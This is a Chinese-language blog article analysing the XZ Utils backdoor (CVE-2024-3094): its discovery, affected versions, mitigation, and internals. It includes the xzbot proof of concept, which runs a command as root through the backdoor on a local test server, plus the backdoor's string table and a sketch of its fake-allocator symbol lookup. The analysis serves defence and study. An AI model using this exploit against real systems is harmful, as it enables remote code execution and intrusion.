XZ后门事件深度剖析:供应链攻击与防御策略

XZ后门事件(CVE-2024–3094):事件始末、工具后门分析与防御措施

目录

  1. 引言
  2. 漏洞详情
  3. 风险评估与缓解
  4. CVE-2024–3094 调查
  5. 结论

1- 引言:

一位微软开发者在周五披露了一项重大发现,震动了科技界:在XZ Utils中被发现故意植入了后门。XZ Utils是一个被广泛使用的开源数据压缩工具,几乎存在于所有的Linux和类Unix系统中。该项目的幕后人员可能为此投入了数年时间,并险些将这个包含后门的更新推送到Debian和Red Hat等主流Linux发行版中。然而,他们的计划被一名警惕的软件开发者注意到可疑活动而挫败。根据软件及密码学工程师Filippo Valsorda的说法,此次事件是公开讨论中最为复杂和令人担忧的供应链攻击之一,展示了在一个被高度使用的软件库中存在的恶意意图、技术专长和授权滥用。

XZ Utils是Linux环境中一个被广泛使用的工具,为包括Linux在内的各种类Unix操作系统提供重要的无损数据压缩功能。其功能对于在大量操作中压缩和解压缩数据至关重要。此外,XZ Utils支持.lzma格式,进一步提升了其重要性。

2- 漏洞详情:

2024年3月29日,在XZ Utils中发现后门,引发了人们对受影响系统可能遭受后门访问和远程代码执行的担忧。该后门专门针对运行在使用glibc、systemd和打过补丁的OpenSSH的系统上的XZ Utils 5.6.0和5.6.1版本。建议用户立即停止使用并回退到XZ 5.4.x版本。该后门在特定条件下激活可能影响系统性能和安全。这一情况凸显了在开源软件生态系统中,关键基础设施过度依赖单个维护者所带来的风险。正在进行的调查旨在全面评估影响并实施措施以减轻该后门带来的风险。

图1: XZ后门爆发‘CVE-2024–3094’的简单图解(来源: Thomas Roccia@FR0GGER)

微软PostgreSQL解决方案的开发工程师Andres Freund最近在一个Debian系统上遇到了与SSH相关的性能问题,SSH是通过互联网远程访问设备的主要协议。具体来说,SSH登录导致CPU使用率过高,并在内存监控工具valgrind中产生错误。偶然间,通过Freund的细致检查,确定问题源于对XZ Utils进行的更新。在某个周五,Freund在开源安全邮件列表中分享说,这些更新是蓄意试图在该压缩软件中引入后门。

3- 风险评估与缓解:

XZ Utils 5.6.0和5.6.1版本中包含的恶意代码改变了软件的功能。该后门影响了用于SSH连接的可执行文件sshd。攻击者如果掌握特定的加密密钥,将能够在受感染设备的SSH登录证书中嵌入并执行代码。虽然尚未观察到实际的代码上传,但潜在的后果包括窃取加密密钥或安装恶意软件。

使用glibc并装有xz或liblzma 5.6.0或5.6.1版本的系统容易受到攻击,尤其是那些带有systemd和打过补丁的OpenSSH的系统。面向公众的云服务上存在受影响版本的情况构成了更高的风险,需要立即更新以解决漏洞。云提供商可能有一些底层系统或服务依赖于这些易受攻击的版本,这强调了验证和更新实例或咨询提供商公告的重要性。对去混淆脚本的分析表明,仅在特定的Linux x86_64版本中存在漏洞,因为该脚本会动态决定是否改变构建过程,如下所示。

图2: 此函数验证目标操作系统是否为x86-64 Linux。

以下是受影响发行版的分类以及每个发行版针对此问题的建议措施。

表1: 受影响发行版、操作系统和软件包的列表,以及解决漏洞的建议(来源: arstechnica.com,2024)。

为了解决该漏洞,建议用户立即停止使用xz-utils压缩工具,并回退到xz-5.4.x。降级这些软件包的说明可以在提供的链接中找到。采用深度防御策略可以加强安全措施,帮助减轻工作负载中的漏洞,保护其免受恶意活动的影响。

此外,将持续集成/持续部署(CI/CD)流水线配置为在特定条件下停止构建过程,可以防止将包含已识别漏洞的代码部署到生产环境中。Aqua Enforcer的恶意软件检测功能会主动扫描节点以查找xz-utils后门利用,并在检测到后立即通知管理员,以便快速响应和缓解。

4- CVE-2024–3094 调查

它包含以下组件:

  • 蜜罐:为识别利用尝试而设计的模拟易受攻击服务器。
  • ed448补丁:修改liblzma.so以加入我们自定义的ED448公钥。
  • 后门格式:后门负载的结构。
  • 后门演示:用于触发远程代码执行(RCE)的命令行界面(CLI),前提是拥有ED448私钥。

4.1. 后门演示

$ go install github.com/amlweems/xzbot@latest
$ xzbot -h
Usage of xzbot:
  -addr string
        ssh server address (default "127.0.0.1:2222")
  -seed string
        ed448 seed, must match xz backdoor key (default "0")
  -cmd string
        command to run via system() (default "id > /tmp/.xz")

以下命令将连接到本地127.0.0.1:2222的易受攻击SSH服务器,并运行命令 id > /tmp/.xz

我们可以在易受攻击的服务器上设置监视点来监控 system() 函数调用,并见证命令的执行。

$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz
$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)

利用成功后,进程树看起来与典型的sshd进程树不同。

# 正常进程树
$ ssh foo@bar
$ ps -ef --forest
root      7651     1  0 17:58 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root     10267  7651  0 18:51 ?        00:00:00  \_ sshd: foo [priv]
foo      10501 10267  0 18:51 ?        00:00:00      \_ sshd: foo@pts/1
foo      10510 10501  0 18:51 pts/1    00:00:00          \_ -bash

# 后门进程树
$ xzbot -cmd 'sleep 60'
$ ps -ef --forest
root      7651     1  0 17:58 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root       941  7654  0 18:04 ?        00:00:00  \_ sshd: root [priv]
sshd       942   941  0 18:04 ?        00:00:00      \_ sshd: root [net]
root       943   941  0 18:04 ?        00:00:00          \_ sh -c sleep 60
root       944   943  0 18:04 ?        00:00:00              \_ sleep 60

请注意,成功的利用不会产生任何INFO或更高级别的日志条目。

4.2. 用于自动机的字符串识别器

Florian Weimer提取的后门代码版本不包含任何可读的ASCII字符串或混淆的ASCII字符串。相反,它包含一个用于识别特定字符串的单状态自动机。搜索字符串涉及将所有可能的起始地址输入字符串检测自动机,并验证是否识别出所需的字符串。识别后,字符串检测自动机会分配一个字符串ID。

实现字符串检测自动机的函数是 _Lsimple_coder_update_0,其特征如下:

810: ' from '
678: ' ssh2'
d8: '%.48s:%.48s():%d (pid=%ld)\x00'
708: '%s'
108: '/usr/sbin/sshd\x00'
870: 'Accepted password for '
1a0: 'Accepted publickey for '
c40: 'BN_bin2bn\x00'
6d0: 'BN_bn2bin\x00'
958: 'BN_dup\x00'
418: 'BN_free\x00'
4e0: 'BN_num_bits\x00'
790: 'Connection closed by '
18: 'Could not chdir to home directory %s: %s\n\x00'
b0: 'Could not get agent socket\x00'
960: 'DISPLAY='
9d0: 'DSA_get0_pqg\x00'
468: 'DSA_get0_pub_key\x00'
7e8: 'EC_KEY_get0_group\x00'
268: 'EC_KEY_get0_public_key\x00'
6e0: 'EC_POINT_point2oct\x00'
b28: 'EVP_CIPHER_CTX_free\x00'
838: 'EVP_CIPHER_CTX_new\x00'
2a8: 'EVP_DecryptFinal_ex\x00'
c08: 'EVP_DecryptInit_ex\x00'
3f0: 'EVP_DecryptUpdate\x00'
f8: 'EVP_Digest\x00'
408: 'EVP_DigestVerify\x00'
118: 'EVP_DigestVerifyInit\x00'
d10: 'EVP_MD_CTX_free\x00'
af8: 'EVP_MD_CTX_new\x00'
6f8: 'EVP_PKEY_free\x00'
758: 'EVP_PKEY_new_raw_public_key\x00'
510: 'EVP_PKEY_set1_RSA\x00'
c28: 'EVP_chacha20\x00'
c60: 'EVP_sha256\x00'
188: 'EVP_sm'
8c0: 'GLIBC_2.2.5\x00'
6a8: 'GLRO(dl_naudit) <= naudit\x00'
1e0: 'KRB5CCNAME\x00'
cf0: 'LD_AUDIT='
bc0: 'LD_BIND_NOT='
a90: 'LD_DEBUG='
b98: 'LD_PROFILE='
3e0: 'LD_USE_LOAD_BIAS='
a88: 'LINES='
ac0: 'RSA_free\x00'
798: 'RSA_get0_key\x00'
918: 'RSA_new\x00'
1d0: 'RSA_public_decrypt\x00'
540: 'RSA_set0_key\x00'
8f8: 'RSA_sign\x00'
990: 'SSH-2.0'
4a8: 'TERM='
e0: 'Unrecognized internal syslog level code %d\n\x00'
158: 'WAYLAND_DISPLAY='
878: '__errno_location\x00'
2b0: '__libc_stack_end\x00'
228: '__libc_start_main\x00'
a60: '_dl_audit_preinit\x00'
9c8: '_dl_audit_symbind_alt\x00'
8a8: '_exit\x00'
5b0: '_r_debug\x00'
5b8: '_rtld_global\x00'
a98: '_rtld_global_ro\x00'
b8: 'auth_root_allowed\x00'
1d8: 'authenticating'
28: 'demote_sensitive_data\x00'
348: 'getuid\x00'
a48: 'ld-linux-x86-64.so'
7d0: 'libc.so'
7c0: 'libcrypto.so'
590: 'liblzma.so'
938: 'libsystemd.so'
20: 'list_hostkey_types\x00'
440: 'malloc_usable_size\x00'
c0: 'mm_answer_authpassword\x00'
c8: 'mm_answer_keyallowed\x00'
d0: 'mm_answer_keyverify\x00'
948: 'mm_answer_pam_start\x00'
78: 'mm_choose_dh\x00'
40: 'mm_do_pam_account\x00'
50: 'mm_getpwnamallow\x00'
a8: 'mm_log_handler\x00'
38: 'mm_pty_allocate\x00'
a0: 'mm_request_send\x00'
48: 'mm_session_pty_cleanup2\x00'
70: 'mm_sshpam_free_ctx\x00'
58: 'mm_sshpam_init_ctx\x00'
60: 'mm_sshpam_query\x00'
68: 'mm_sshpam_respond\x00'
30: 'mm_terminate\x00'
c58: 'parse PAM\x00'
400: 'password\x00'
4f0: 'preauth'
690: 'pselect\x00'
7b8: 'publickey\x00'
308: 'read\x00'
710: 'rsa-sha2-256\x00'
428: 'setlogmask\x00'
5f0: 'setresgid\x00'
ab8: 'setresuid\x00'
760: 'shutdown\x00'
d08: 'ssh-2.0'
2c8: 'ssh-rsa-cert-v01@openssh.com\x00'
88: 'sshpam_auth_passwd\x00'
90: 'sshpam_query\x00'
80: 'sshpam_respond\x00'
98: 'start_pam\x00'
9f8: 'system\x00'
198: 'unknown\x00'
b10: 'user'
380: 'write\x00'
10: 'xcalloc: zero size\x00'
b00: 'yolAbejyiejuvnup=Evjtgvsh5okmkAvj\x00'
300: '\x7fELF'

4.3 模拟内存分配器

在liblzma中,存在一个内存分配层,它只是将分配和释放调用重定向到指定的分配器。使用指定的分配器对象调用 lzma_alloclzma_free 本质上会触发该对象内的一个函数指针,该指针可能与实际的内存分配操作有关,也可能无关。后门包含一个伪造的分配器对象,它执行符号查找而不是实际的内存分配,并且在释放时不执行任何操作。查找函数接受一个字符串ID(参见上一节)作为大小参数。由于字符串ID能被8整除且范围在10到0xd10之间,它们最初看起来是可行的大小。这个伪造的分配器对象由 .Lstream_decoder_memconfig.part.1 提供。分配器结构包含一个传递给分配和释放函数的上下文指针。对于这个虚假分配器,不透明成员指向内部ELF模块描述符记录。典型的使用模式(假设为返回虚假分配器的函数取一个合理的符号名)如下:

lzma_allocator* fake_alloc = GetFakeAllocator();
fake_alloc->opaque = libc_elfmodule;

void* symbol = lzma_alloc(0xAB8, fake_allocator); // 0xAB8: "setresuid" 的字符串ID
// 使用符号,可能调用它,可能将其存储在某处
lzma_free(symbol, fake_allocator); // 只是伪装,什么都不做

需要注意的是,后门对象本身不包含 lzma_alloclzma_free;这些是由 liblzma 中的非后门代码提供的标准函数。

5- 结论

XZ Utils中故意植入后门的披露突显了开源软件中供应链攻击的持续威胁。开发者和安全专家在检测和缓解后门方面的迅速反应,凸显了保持警惕和采取主动安全措施的重要性。这也提醒我们,依赖外部库和组件所伴随的复杂相互依赖关系和风险,需要通过持续监控和更新来防范潜在的利用。调查和解决XZ后门的协调努力,展示了网络安全社区在应对新兴威胁和保护关键软件基础设施方面的韧性。
CSD0tFqvECLokhw9aBeRqg7hBpseDJ45eX7wRsf5iUPQGgPhwrZ8WHIvRaEIdMa5yZIpWXqanDXsN5nymclK8ynlvwadp8Gfgn1RDJjwm3Di1OopQ6PgTBR3msffaToRsBsXQ72++/mo3yhMuY7x9hIfI7fuao1A9nkTDXfFFuY=

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容